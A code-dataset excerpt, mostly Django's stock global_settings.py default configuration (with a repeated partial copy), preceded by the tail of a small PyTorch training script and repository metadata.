1) def forward(self, x): x = F.relu(self.fc1(x)) x = F.relu(self.fc2(x)) x = F.sigmoid(self.fc3(x)) return x nn02 = NN02() optimizer02 = optim.SGD(nn02.parameters(), lr=0.1) epochs = 10000 for epoch in range(epochs): optimizer02.zero_grad() y_pred02 = nn02(x) ce02 = F.binary_cross_entropy(y_pred02, y) ce02.backward() optimizer02.step() if epoch % 1000 == 0: print("Epoch: {:4d}/{}".format(epoch, epochs), end=" ") print("Cost: {:.6f}".format(ce02.item()))

true

f732682b1cfe1fafeaca346811b06f346f04b564

22,189

py

Python

virtual/lib/python3.6/site-packages/django/conf/global_settings.py

Ruterana/clone_instagram

a068587ef1d1a93ec8d1c08086bf11c0fb274b83

[ "MIT" ]

90

2017-08-24T18:57:21.000Z

2022-03-04T01:58:56.000Z

virtual/lib/python3.6/site-packages/django/conf/global_settings.py

Ruterana/clone_instagram

a068587ef1d1a93ec8d1c08086bf11c0fb274b83

[ "MIT" ]

27

2017-04-01T15:06:36.000Z

2021-02-08T20:19:58.000Z

virtual/lib/python3.6/site-packages/django/conf/global_settings.py

ngishjonathan/gallery

dd67f28887316d6277927c667f6641d26317b0b8

[ "MIT" ]

11

2019-02-26T14:30:28.000Z

2021-12-31T05:04:08.000Z

# -*- coding: utf-8 -*- """ Default Django settings. Override these with settings in the module pointed to by the DJANGO_SETTINGS_MODULE environment variable. """ from __future__ import unicode_literals # This is defined here as a do-nothing function because we can't import # django.utils.translation -- that module depends on the settings. def gettext_noop(s): return s #################### # CORE # #################### DEBUG = False # Whether the framework should propagate raw exceptions rather than catching # them. This is useful under some testing situations and should never be used # on a live site. DEBUG_PROPAGATE_EXCEPTIONS = False # Whether to use the "ETag" header. This saves bandwidth but slows down performance. # Deprecated (RemovedInDjango21Warning) in favor of ConditionalGetMiddleware # which sets the ETag regardless of this setting. USE_ETAGS = False # People who get code error notifications. # In the format [('Full Name', 'email@example.com'), ('Full Name', 'anotheremail@example.com')] ADMINS = [] # List of IP addresses, as strings, that: # * See debug comments, when DEBUG is true # * Receive x-headers INTERNAL_IPS = [] # Hosts/domain names that are valid for this site. # "*" matches anything, ".example.com" matches example.com and all subdomains ALLOWED_HOSTS = [] # Local time zone for this installation. All choices can be found here: # https://en.wikipedia.org/wiki/List_of_tz_zones_by_name (although not all # systems may support all possibilities). When USE_TZ is True, this is # interpreted as the default user time zone. TIME_ZONE = 'America/Chicago' # If you set this to True, Django will use timezone-aware datetimes. USE_TZ = False # Language code for this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' # Languages we provide translations for, out of the box. LANGUAGES = [ ('af', gettext_noop('Afrikaans')), ('ar', gettext_noop('Arabic')), ('ast', gettext_noop('Asturian')), ('az', gettext_noop('Azerbaijani')), ('bg', gettext_noop('Bulgarian')), ('be', gettext_noop('Belarusian')), ('bn', gettext_noop('Bengali')), ('br', gettext_noop('Breton')), ('bs', gettext_noop('Bosnian')), ('ca', gettext_noop('Catalan')), ('cs', gettext_noop('Czech')), ('cy', gettext_noop('Welsh')), ('da', gettext_noop('Danish')), ('de', gettext_noop('German')), ('dsb', gettext_noop('Lower Sorbian')), ('el', gettext_noop('Greek')), ('en', gettext_noop('English')), ('en-au', gettext_noop('Australian English')), ('en-gb', gettext_noop('British English')), ('eo', gettext_noop('Esperanto')), ('es', gettext_noop('Spanish')), ('es-ar', gettext_noop('Argentinian Spanish')), ('es-co', gettext_noop('Colombian Spanish')), ('es-mx', gettext_noop('Mexican Spanish')), ('es-ni', gettext_noop('Nicaraguan Spanish')), ('es-ve', gettext_noop('Venezuelan Spanish')), ('et', gettext_noop('Estonian')), ('eu', gettext_noop('Basque')), ('fa', gettext_noop('Persian')), ('fi', gettext_noop('Finnish')), ('fr', gettext_noop('French')), ('fy', gettext_noop('Frisian')), ('ga', gettext_noop('Irish')), ('gd', gettext_noop('Scottish Gaelic')), ('gl', gettext_noop('Galician')), ('he', gettext_noop('Hebrew')), ('hi', gettext_noop('Hindi')), ('hr', gettext_noop('Croatian')), ('hsb', gettext_noop('Upper Sorbian')), ('hu', gettext_noop('Hungarian')), ('ia', gettext_noop('Interlingua')), ('id', gettext_noop('Indonesian')), ('io', gettext_noop('Ido')), ('is', gettext_noop('Icelandic')), ('it', gettext_noop('Italian')), ('ja', gettext_noop('Japanese')), ('ka', gettext_noop('Georgian')), ('kk', gettext_noop('Kazakh')), ('km', gettext_noop('Khmer')), ('kn', gettext_noop('Kannada')), ('ko', gettext_noop('Korean')), ('lb', gettext_noop('Luxembourgish')), ('lt', gettext_noop('Lithuanian')), ('lv', gettext_noop('Latvian')), ('mk', gettext_noop('Macedonian')), ('ml', gettext_noop('Malayalam')), ('mn', gettext_noop('Mongolian')), ('mr', gettext_noop('Marathi')), ('my', gettext_noop('Burmese')), ('nb', gettext_noop('Norwegian Bokmål')), ('ne', gettext_noop('Nepali')), ('nl', gettext_noop('Dutch')), ('nn', gettext_noop('Norwegian Nynorsk')), ('os', gettext_noop('Ossetic')), ('pa', gettext_noop('Punjabi')), ('pl', gettext_noop('Polish')), ('pt', gettext_noop('Portuguese')), ('pt-br', gettext_noop('Brazilian Portuguese')), ('ro', gettext_noop('Romanian')), ('ru', gettext_noop('Russian')), ('sk', gettext_noop('Slovak')), ('sl', gettext_noop('Slovenian')), ('sq', gettext_noop('Albanian')), ('sr', gettext_noop('Serbian')), ('sr-latn', gettext_noop('Serbian Latin')), ('sv', gettext_noop('Swedish')), ('sw', gettext_noop('Swahili')), ('ta', gettext_noop('Tamil')), ('te', gettext_noop('Telugu')), ('th', gettext_noop('Thai')), ('tr', gettext_noop('Turkish')), ('tt', gettext_noop('Tatar')), ('udm', gettext_noop('Udmurt')), ('uk', gettext_noop('Ukrainian')), ('ur', gettext_noop('Urdu')), ('vi', gettext_noop('Vietnamese')), ('zh-hans', gettext_noop('Simplified Chinese')), ('zh-hant', gettext_noop('Traditional Chinese')), ] # Languages using BiDi (right-to-left) layout LANGUAGES_BIDI = ["he", "ar", "fa", "ur"] # If you set this to False, Django will make some optimizations so as not # to load the internationalization machinery. USE_I18N = True LOCALE_PATHS = [] # Settings for language cookie LANGUAGE_COOKIE_NAME = 'django_language' LANGUAGE_COOKIE_AGE = None LANGUAGE_COOKIE_DOMAIN = None LANGUAGE_COOKIE_PATH = '/' # If you set this to True, Django will format dates, numbers and calendars # according to user current locale. USE_L10N = False # Not-necessarily-technical managers of the site. They get broken link # notifications and other various emails. MANAGERS = ADMINS # Default content type and charset to use for all HttpResponse objects, if a # MIME type isn't manually specified. These are used to construct the # Content-Type header. DEFAULT_CONTENT_TYPE = 'text/html' DEFAULT_CHARSET = 'utf-8' # Encoding of files read from disk (template and initial SQL files). FILE_CHARSET = 'utf-8' # Email address that error messages come from. SERVER_EMAIL = 'root@localhost' # Database connection info. If left empty, will default to the dummy backend. DATABASES = {} # Classes used to implement DB routing behavior. DATABASE_ROUTERS = [] # The email backend to use. For possible shortcuts see django.core.mail. # The default is to use the SMTP backend. # Third-party backends can be specified by providing a Python path # to a module that defines an EmailBackend class. EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend' # Host for sending email. EMAIL_HOST = 'localhost' # Port for sending email. EMAIL_PORT = 25 # Whether to send SMTP 'Date' header in the local time zone or in UTC. EMAIL_USE_LOCALTIME = False # Optional SMTP authentication information for EMAIL_HOST. EMAIL_HOST_USER = '' EMAIL_HOST_PASSWORD = '' EMAIL_USE_TLS = False EMAIL_USE_SSL = False EMAIL_SSL_CERTFILE = None EMAIL_SSL_KEYFILE = None EMAIL_TIMEOUT = None # List of strings representing installed apps. INSTALLED_APPS = [] TEMPLATES = [] # Default form rendering class. FORM_RENDERER = 'django.forms.renderers.DjangoTemplates' # Default email address to use for various automated correspondence from # the site managers. DEFAULT_FROM_EMAIL = 'webmaster@localhost' # Subject-line prefix for email messages send with django.core.mail.mail_admins # or ...mail_managers. Make sure to include the trailing space. EMAIL_SUBJECT_PREFIX = '[Django] ' # Whether to append trailing slashes to URLs. APPEND_SLASH = True # Whether to prepend the "www." subdomain to URLs that don't have it. PREPEND_WWW = False # Override the server-derived value of SCRIPT_NAME FORCE_SCRIPT_NAME = None # List of compiled regular expression objects representing User-Agent strings # that are not allowed to visit any page, systemwide. Use this for bad # robots/crawlers. Here are a few examples: # import re # DISALLOWED_USER_AGENTS = [ # re.compile(r'^NaverBot.*'), # re.compile(r'^EmailSiphon.*'), # re.compile(r'^SiteSucker.*'), # re.compile(r'^sohu-search') # ] DISALLOWED_USER_AGENTS = [] ABSOLUTE_URL_OVERRIDES = {} # List of compiled regular expression objects representing URLs that need not # be reported by BrokenLinkEmailsMiddleware. Here are a few examples: # import re # IGNORABLE_404_URLS = [ # re.compile(r'^/apple-touch-icon.*\.png$'), # re.compile(r'^/favicon.ico$), # re.compile(r'^/robots.txt$), # re.compile(r'^/phpmyadmin/), # re.compile(r'\.(cgi|php|pl)$'), # ] IGNORABLE_404_URLS = [] # A secret key for this particular Django installation. Used in secret-key # hashing algorithms. Set this in your settings, or Django will complain # loudly. SECRET_KEY = '' # Default file storage mechanism that holds media. DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage' # Absolute filesystem path to the directory that will hold user-uploaded files. # Example: "/var/www/example.com/media/" MEDIA_ROOT = '' # URL that handles the media served from MEDIA_ROOT. # Examples: "http://example.com/media/", "http://media.example.com/" MEDIA_URL = '' # Absolute path to the directory static files should be collected to. # Example: "/var/www/example.com/static/" STATIC_ROOT = None # URL that handles the static files served from STATIC_ROOT. # Example: "http://example.com/static/", "http://static.example.com/" STATIC_URL = None # List of upload handler classes to be applied in order. FILE_UPLOAD_HANDLERS = [ 'django.core.files.uploadhandler.MemoryFileUploadHandler', 'django.core.files.uploadhandler.TemporaryFileUploadHandler', ] # Maximum size, in bytes, of a request before it will be streamed to the # file system instead of into memory. FILE_UPLOAD_MAX_MEMORY_SIZE = 2621440 # i.e. 2.5 MB # Maximum size in bytes of request data (excluding file uploads) that will be # read before a SuspiciousOperation (RequestDataTooBig) is raised. DATA_UPLOAD_MAX_MEMORY_SIZE = 2621440 # i.e. 2.5 MB # Maximum number of GET/POST parameters that will be read before a # SuspiciousOperation (TooManyFieldsSent) is raised. DATA_UPLOAD_MAX_NUMBER_FIELDS = 1000 # Directory in which upload streamed files will be temporarily saved. A value of # `None` will make Django use the operating system's default temporary directory # (i.e. "/tmp" on *nix systems). FILE_UPLOAD_TEMP_DIR = None # The numeric mode to set newly-uploaded files to. The value should be a mode # you'd pass directly to os.chmod; see https://docs.python.org/3/library/os.html#files-and-directories. FILE_UPLOAD_PERMISSIONS = None # The numeric mode to assign to newly-created directories, when uploading files. # The value should be a mode as you'd pass to os.chmod; # see https://docs.python.org/3/library/os.html#files-and-directories. FILE_UPLOAD_DIRECTORY_PERMISSIONS = None # Python module path where user will place custom format definition. # The directory where this setting is pointing should contain subdirectories # named as the locales, containing a formats.py file # (i.e. "myproject.locale" for myproject/locale/en/formats.py etc. use) FORMAT_MODULE_PATH = None # Default formatting for date objects. See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date DATE_FORMAT = 'N j, Y' # Default formatting for datetime objects. See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date DATETIME_FORMAT = 'N j, Y, P' # Default formatting for time objects. See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date TIME_FORMAT = 'P' # Default formatting for date objects when only the year and month are relevant. # See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date YEAR_MONTH_FORMAT = 'F Y' # Default formatting for date objects when only the month and day are relevant. # See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date MONTH_DAY_FORMAT = 'F j' # Default short formatting for date objects. See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date SHORT_DATE_FORMAT = 'm/d/Y' # Default short formatting for datetime objects. # See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date SHORT_DATETIME_FORMAT = 'm/d/Y P' # Default formats to be used when parsing dates from input boxes, in order # See all available format string here: # http://docs.python.org/library/datetime.html#strftime-behavior # * Note that these format strings are different from the ones to display dates DATE_INPUT_FORMATS = [ '%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y', # '2006-10-25', '10/25/2006', '10/25/06' '%b %d %Y', '%b %d, %Y', # 'Oct 25 2006', 'Oct 25, 2006' '%d %b %Y', '%d %b, %Y', # '25 Oct 2006', '25 Oct, 2006' '%B %d %Y', '%B %d, %Y', # 'October 25 2006', 'October 25, 2006' '%d %B %Y', '%d %B, %Y', # '25 October 2006', '25 October, 2006' ] # Default formats to be used when parsing times from input boxes, in order # See all available format string here: # http://docs.python.org/library/datetime.html#strftime-behavior # * Note that these format strings are different from the ones to display dates TIME_INPUT_FORMATS = [ '%H:%M:%S', # '14:30:59' '%H:%M:%S.%f', # '14:30:59.000200' '%H:%M', # '14:30' ] # Default formats to be used when parsing dates and times from input boxes, # in order # See all available format string here: # http://docs.python.org/library/datetime.html#strftime-behavior # * Note that these format strings are different from the ones to display dates DATETIME_INPUT_FORMATS = [ '%Y-%m-%d %H:%M:%S', # '2006-10-25 14:30:59' '%Y-%m-%d %H:%M:%S.%f', # '2006-10-25 14:30:59.000200' '%Y-%m-%d %H:%M', # '2006-10-25 14:30' '%Y-%m-%d', # '2006-10-25' '%m/%d/%Y %H:%M:%S', # '10/25/2006 14:30:59' '%m/%d/%Y %H:%M:%S.%f', # '10/25/2006 14:30:59.000200' '%m/%d/%Y %H:%M', # '10/25/2006 14:30' '%m/%d/%Y', # '10/25/2006' '%m/%d/%y %H:%M:%S', # '10/25/06 14:30:59' '%m/%d/%y %H:%M:%S.%f', # '10/25/06 14:30:59.000200' '%m/%d/%y %H:%M', # '10/25/06 14:30' '%m/%d/%y', # '10/25/06' ] # First day of week, to be used on calendars # 0 means Sunday, 1 means Monday... FIRST_DAY_OF_WEEK = 0 # Decimal separator symbol DECIMAL_SEPARATOR = '.' # Boolean that sets whether to add thousand separator when formatting numbers USE_THOUSAND_SEPARATOR = False # Number of digits that will be together, when splitting them by # THOUSAND_SEPARATOR. 0 means no grouping, 3 means splitting by thousands... NUMBER_GROUPING = 0 # Thousand separator symbol THOUSAND_SEPARATOR = ',' # The tablespaces to use for each model when not specified otherwise. DEFAULT_TABLESPACE = '' DEFAULT_INDEX_TABLESPACE = '' # Default X-Frame-Options header value X_FRAME_OPTIONS = 'SAMEORIGIN' USE_X_FORWARDED_HOST = False USE_X_FORWARDED_PORT = False # The Python dotted path to the WSGI application that Django's internal server # (runserver) will use. If `None`, the return value of # 'django.core.wsgi.get_wsgi_application' is used, thus preserving the same # behavior as previous versions of Django. Otherwise this should point to an # actual WSGI application object. WSGI_APPLICATION = None # If your Django app is behind a proxy that sets a header to specify secure # connections, AND that proxy ensures that user-submitted headers with the # same name are ignored (so that people can't spoof it), set this value to # a tuple of (header_name, header_value). For any requests that come in with # that header/value, request.is_secure() will return True. # WARNING! Only set this if you fully understand what you're doing. Otherwise, # you may be opening yourself up to a security risk. SECURE_PROXY_SSL_HEADER = None ############## # MIDDLEWARE # ############## # List of middleware to use. Order is important; in the request phase, these # middleware will be applied in the order given, and in the response # phase the middleware will be applied in reverse order. MIDDLEWARE_CLASSES = [ 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', ] MIDDLEWARE = None ############ # SESSIONS # ############ # Cache to store session data if using the cache session backend. SESSION_CACHE_ALIAS = 'default' # Cookie name. This can be whatever you want. SESSION_COOKIE_NAME = 'sessionid' # Age of cookie, in seconds (default: 2 weeks). SESSION_COOKIE_AGE = 60 * 60 * 24 * 7 * 2 # A string like ".example.com", or None for standard domain cookie. SESSION_COOKIE_DOMAIN = None # Whether the session cookie should be secure (https:// only). SESSION_COOKIE_SECURE = False # The path of the session cookie. SESSION_COOKIE_PATH = '/' # Whether to use the non-RFC standard httpOnly flag (IE, FF3+, others) SESSION_COOKIE_HTTPONLY = True # Whether to save the session data on every request. SESSION_SAVE_EVERY_REQUEST = False # Whether a user's session cookie expires when the Web browser is closed. SESSION_EXPIRE_AT_BROWSER_CLOSE = False # The module to store session data SESSION_ENGINE = 'django.contrib.sessions.backends.db' # Directory to store session files if using the file session module. If None, # the backend will use a sensible default. SESSION_FILE_PATH = None # class to serialize session data SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer' ######### # CACHE # ######### # The cache backends to use. CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.locmem.LocMemCache', } } CACHE_MIDDLEWARE_KEY_PREFIX = '' CACHE_MIDDLEWARE_SECONDS = 600 CACHE_MIDDLEWARE_ALIAS = 'default' ################## # AUTHENTICATION # ################## AUTH_USER_MODEL = 'auth.User' AUTHENTICATION_BACKENDS = ['django.contrib.auth.backends.ModelBackend'] LOGIN_URL = '/accounts/login/' LOGIN_REDIRECT_URL = '/accounts/profile/' LOGOUT_REDIRECT_URL = None # The number of days a password reset link is valid for PASSWORD_RESET_TIMEOUT_DAYS = 3 # the first hasher in this list is the preferred algorithm. any # password using different algorithms will be converted automatically # upon login PASSWORD_HASHERS = [ 'django.contrib.auth.hashers.PBKDF2PasswordHasher', 'django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher', 'django.contrib.auth.hashers.Argon2PasswordHasher', 'django.contrib.auth.hashers.BCryptSHA256PasswordHasher', 'django.contrib.auth.hashers.BCryptPasswordHasher', ] AUTH_PASSWORD_VALIDATORS = [] ########### # SIGNING # ########### SIGNING_BACKEND = 'django.core.signing.TimestampSigner' ######## # CSRF # ######## # Dotted path to callable to be used as view when a request is # rejected by the CSRF middleware. CSRF_FAILURE_VIEW = 'django.views.csrf.csrf_failure' # Settings for CSRF cookie. CSRF_COOKIE_NAME = 'csrftoken' CSRF_COOKIE_AGE = 60 * 60 * 24 * 7 * 52 CSRF_COOKIE_DOMAIN = None CSRF_COOKIE_PATH = '/' CSRF_COOKIE_SECURE = False CSRF_COOKIE_HTTPONLY = False CSRF_HEADER_NAME = 'HTTP_X_CSRFTOKEN' CSRF_TRUSTED_ORIGINS = [] CSRF_USE_SESSIONS = False ############ # MESSAGES # ############ # Class to use as messages backend MESSAGE_STORAGE = 'django.contrib.messages.storage.fallback.FallbackStorage' # Default values of MESSAGE_LEVEL and MESSAGE_TAGS are defined within # django.contrib.messages to avoid imports in this settings file. ########### # LOGGING # ########### # The callable to use to configure logging LOGGING_CONFIG = 'logging.config.dictConfig' # Custom logging configuration. LOGGING = {} # Default exception reporter filter class used in case none has been # specifically assigned to the HttpRequest instance. DEFAULT_EXCEPTION_REPORTER_FILTER = 'django.views.debug.SafeExceptionReporterFilter' ########### # TESTING # ########### # The name of the class to use to run the test suite TEST_RUNNER = 'django.test.runner.DiscoverRunner' # Apps that don't need to be serialized at test database creation time # (only apps with migrations are to start with) TEST_NON_SERIALIZED_APPS = [] ############ # FIXTURES # ############ # The list of directories to search for fixtures FIXTURE_DIRS = [] ############### # STATICFILES # ############### # A list of locations of additional static files STATICFILES_DIRS = [] # The default file storage backend used during the build process STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.StaticFilesStorage' # List of finder classes that know how to find static files in # various locations. STATICFILES_FINDERS = [ 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', # 'django.contrib.staticfiles.finders.DefaultStorageFinder', ] ############## # MIGRATIONS # ############## # Migration module overrides for apps, by app label. MIGRATION_MODULES = {} ################# # SYSTEM CHECKS # ################# # List of all issues generated by system checks that should be silenced. Light # issues like warnings, infos or debugs will not generate a message. Silencing # serious issues like errors and criticals does not result in hiding the # message, but Django will not stop you from e.g. running server. SILENCED_SYSTEM_CHECKS = [] ####################### # SECURITY MIDDLEWARE # ####################### SECURE_BROWSER_XSS_FILTER = False SECURE_CONTENT_TYPE_NOSNIFF = False SECURE_HSTS_INCLUDE_SUBDOMAINS = False SECURE_HSTS_PRELOAD = False SECURE_HSTS_SECONDS = 0 SECURE_REDIRECT_EXEMPT = [] SECURE_SSL_HOST = None SECURE_SSL_REDIRECT = False

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from __future__ import unicode_literals # django.utils.translation -- that module depends on the settings. def gettext_noop(s): return s #################### # CORE # #################### DEBUG = False # Whether the framework should propagate raw exceptions rather than catching # them. This is useful under some testing situations and should never be used # on a live site. DEBUG_PROPAGATE_EXCEPTIONS = False # Whether to use the "ETag" header. This saves bandwidth but slows down performance. # Deprecated (RemovedInDjango21Warning) in favor of ConditionalGetMiddleware # which sets the ETag regardless of this setting. USE_ETAGS = False # People who get code error notifications. # In the format [('Full Name', 'email@example.com'), ('Full Name', 'anotheremail@example.com')] ADMINS = [] # List of IP addresses, as strings, that: # * See debug comments, when DEBUG is true # * Receive x-headers INTERNAL_IPS = [] # Hosts/domain names that are valid for this site. # "*" matches anything, ".example.com" matches example.com and all subdomains ALLOWED_HOSTS = [] # Local time zone for this installation. All choices can be found here: # https://en.wikipedia.org/wiki/List_of_tz_zones_by_name (although not all # systems may support all possibilities). When USE_TZ is True, this is # interpreted as the default user time zone. TIME_ZONE = 'America/Chicago' # If you set this to True, Django will use timezone-aware datetimes. USE_TZ = False # Language code for this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' # Languages we provide translations for, out of the box. LANGUAGES = [ ('af', gettext_noop('Afrikaans')), ('ar', gettext_noop('Arabic')), ('ast', gettext_noop('Asturian')), ('az', gettext_noop('Azerbaijani')), ('bg', gettext_noop('Bulgarian')), ('be', gettext_noop('Belarusian')), ('bn', gettext_noop('Bengali')), ('br', gettext_noop('Breton')), ('bs', gettext_noop('Bosnian')), ('ca', gettext_noop('Catalan')), ('cs', gettext_noop('Czech')), ('cy', gettext_noop('Welsh')), ('da', gettext_noop('Danish')), ('de', gettext_noop('German')), ('dsb', gettext_noop('Lower Sorbian')), ('el', gettext_noop('Greek')), ('en', gettext_noop('English')), ('en-au', gettext_noop('Australian English')), ('en-gb', gettext_noop('British English')), ('eo', gettext_noop('Esperanto')), ('es', gettext_noop('Spanish')), ('es-ar', gettext_noop('Argentinian Spanish')), ('es-co', gettext_noop('Colombian Spanish')), ('es-mx', gettext_noop('Mexican Spanish')), ('es-ni', gettext_noop('Nicaraguan Spanish')), ('es-ve', gettext_noop('Venezuelan Spanish')), ('et', gettext_noop('Estonian')), ('eu', gettext_noop('Basque')), ('fa', gettext_noop('Persian')), ('fi', gettext_noop('Finnish')), ('fr', gettext_noop('French')), ('fy', gettext_noop('Frisian')), ('ga', gettext_noop('Irish')), ('gd', gettext_noop('Scottish Gaelic')), ('gl', gettext_noop('Galician')), ('he', gettext_noop('Hebrew')), ('hi', gettext_noop('Hindi')), ('hr', gettext_noop('Croatian')), ('hsb', gettext_noop('Upper Sorbian')), ('hu', gettext_noop('Hungarian')), ('ia', gettext_noop('Interlingua')), ('id', gettext_noop('Indonesian')), ('io', gettext_noop('Ido')), ('is', gettext_noop('Icelandic')), ('it', gettext_noop('Italian')), ('ja', gettext_noop('Japanese')), ('ka', gettext_noop('Georgian')), ('kk', gettext_noop('Kazakh')), ('km', gettext_noop('Khmer')), ('kn', gettext_noop('Kannada')), ('ko', gettext_noop('Korean')), ('lb', gettext_noop('Luxembourgish')), ('lt', gettext_noop('Lithuanian')), ('lv', gettext_noop('Latvian')), ('mk', gettext_noop('Macedonian')), ('ml', gettext_noop('Malayalam')), ('mn', gettext_noop('Mongolian')), ('mr', gettext_noop('Marathi')), ('my', gettext_noop('Burmese')), ('nb', gettext_noop('Norwegian Bokmål')), ('ne', gettext_noop('Nepali')), ('nl', gettext_noop('Dutch')), ('nn', gettext_noop('Norwegian Nynorsk')), ('os', gettext_noop('Ossetic')), ('pa', gettext_noop('Punjabi')), ('pl', gettext_noop('Polish')), ('pt', gettext_noop('Portuguese')), ('pt-br', gettext_noop('Brazilian Portuguese')), ('ro', gettext_noop('Romanian')), ('ru', gettext_noop('Russian')), ('sk', gettext_noop('Slovak')), ('sl', gettext_noop('Slovenian')), ('sq', gettext_noop('Albanian')), ('sr', gettext_noop('Serbian')), ('sr-latn', gettext_noop('Serbian Latin')), ('sv', gettext_noop('Swedish')), ('sw', gettext_noop('Swahili')), ('ta', gettext_noop('Tamil')), ('te', gettext_noop('Telugu')), ('th', gettext_noop('Thai')), ('tr', gettext_noop('Turkish')), ('tt', gettext_noop('Tatar')), ('udm', gettext_noop('Udmurt')), ('uk', gettext_noop('Ukrainian')), ('ur', gettext_noop('Urdu')), ('vi', gettext_noop('Vietnamese')), ('zh-hans', gettext_noop('Simplified Chinese')), ('zh-hant', gettext_noop('Traditional Chinese')), ] # Languages using BiDi (right-to-left) layout LANGUAGES_BIDI = ["he", "ar", "fa", "ur"] # If you set this to False, Django will make some optimizations so as not # to load the internationalization machinery. USE_I18N = True LOCALE_PATHS = [] # Settings for language cookie LANGUAGE_COOKIE_NAME = 'django_language' LANGUAGE_COOKIE_AGE = None LANGUAGE_COOKIE_DOMAIN = None LANGUAGE_COOKIE_PATH = '/' # If you set this to True, Django will format dates, numbers and calendars # according to user current locale. USE_L10N = False # Not-necessarily-technical managers of the site. They get broken link # notifications and other various emails. MANAGERS = ADMINS # Default content type and charset to use for all HttpResponse objects, if a # MIME type isn't manually specified. These are used to construct the DEFAULT_CONTENT_TYPE = 'text/html' DEFAULT_CHARSET = 'utf-8' FILE_CHARSET = 'utf-8' SERVER_EMAIL = 'root@localhost' DATABASES = {} DATABASE_ROUTERS = [] EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend' EMAIL_HOST = 'localhost' EMAIL_PORT = 25 EMAIL_USE_LOCALTIME = False EMAIL_HOST_USER = '' EMAIL_HOST_PASSWORD = '' EMAIL_USE_TLS = False EMAIL_USE_SSL = False EMAIL_SSL_CERTFILE = None EMAIL_SSL_KEYFILE = None EMAIL_TIMEOUT = None INSTALLED_APPS = [] TEMPLATES = [] FORM_RENDERER = 'django.forms.renderers.DjangoTemplates' DEFAULT_FROM_EMAIL = 'webmaster@localhost' EMAIL_SUBJECT_PREFIX = '[Django] ' APPEND_SLASH = True PREPEND_WWW = False # Override the server-derived value of SCRIPT_NAME FORCE_SCRIPT_NAME = None # List of compiled regular expression objects representing User-Agent strings # that are not allowed to visit any page, systemwide. Use this for bad # robots/crawlers. Here are a few examples: # import re # DISALLOWED_USER_AGENTS = [ # re.compile(r'^NaverBot.*'), # re.compile(r'^EmailSiphon.*'), # re.compile(r'^SiteSucker.*'), # re.compile(r'^sohu-search') # ] DISALLOWED_USER_AGENTS = [] ABSOLUTE_URL_OVERRIDES = {} # List of compiled regular expression objects representing URLs that need not # be reported by BrokenLinkEmailsMiddleware. Here are a few examples: # import re # IGNORABLE_404_URLS = [ # re.compile(r'^/apple-touch-icon.*\.png$'), # re.compile(r'^/favicon.ico$), # re.compile(r'^/phpmyadmin/), IGNORABLE_404_URLS = [] SECRET_KEY = '' DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage' MEDIA_ROOT = '' MEDIA_URL = '' STATIC_ROOT = None STATIC_URL = None FILE_UPLOAD_HANDLERS = [ 'django.core.files.uploadhandler.MemoryFileUploadHandler', 'django.core.files.uploadhandler.TemporaryFileUploadHandler', ] FILE_UPLOAD_MAX_MEMORY_SIZE = 2621440 DATA_UPLOAD_MAX_MEMORY_SIZE = 2621440 DATA_UPLOAD_MAX_NUMBER_FIELDS = 1000 # (i.e. "/tmp" on *nix systems). FILE_UPLOAD_TEMP_DIR = None # The numeric mode to set newly-uploaded files to. The value should be a mode # you'd pass directly to os.chmod; see https://docs.python.org/3/library/os.html FILE_UPLOAD_PERMISSIONS = None # see https://docs.python.org/3/library/os.html#files-and-directories. FILE_UPLOAD_DIRECTORY_PERMISSIONS = None # Python module path where user will place custom format definition. # The directory where this setting is pointing should contain subdirectories # named as the locales, containing a formats.py file # (i.e. "myproject.locale" for myproject/locale/en/formats.py etc. use) FORMAT_MODULE_PATH = None # Default formatting for date objects. See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date DATE_FORMAT = 'N j, Y' # Default formatting for datetime objects. See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date DATETIME_FORMAT = 'N j, Y, P' # Default formatting for time objects. See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date TIME_FORMAT = 'P' # Default formatting for date objects when only the year and month are relevant. # See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date YEAR_MONTH_FORMAT = 'F Y' # Default formatting for date objects when only the month and day are relevant. # See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date MONTH_DAY_FORMAT = 'F j' # Default short formatting for date objects. See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date SHORT_DATE_FORMAT = 'm/d/Y' # Default short formatting for datetime objects. # See all available format strings here: # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date SHORT_DATETIME_FORMAT = 'm/d/Y P' # Default formats to be used when parsing dates from input boxes, in order # See all available format string here: # http://docs.python.org/library/datetime.html#strftime-behavior # * Note that these format strings are different from the ones to display dates DATE_INPUT_FORMATS = [ '%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y', # '2006-10-25', '10/25/2006', '10/25/06' '%b %d %Y', '%b %d, %Y', # 'Oct 25 2006', 'Oct 25, 2006' '%d %b %Y', '%d %b, %Y', # '25 Oct 2006', '25 Oct, 2006' '%B %d %Y', '%B %d, %Y', # 'October 25 2006', 'October 25, 2006' '%d %B %Y', '%d %B, %Y', # '25 October 2006', '25 October, 2006' ] # Default formats to be used when parsing times from input boxes, in order # See all available format string here: # 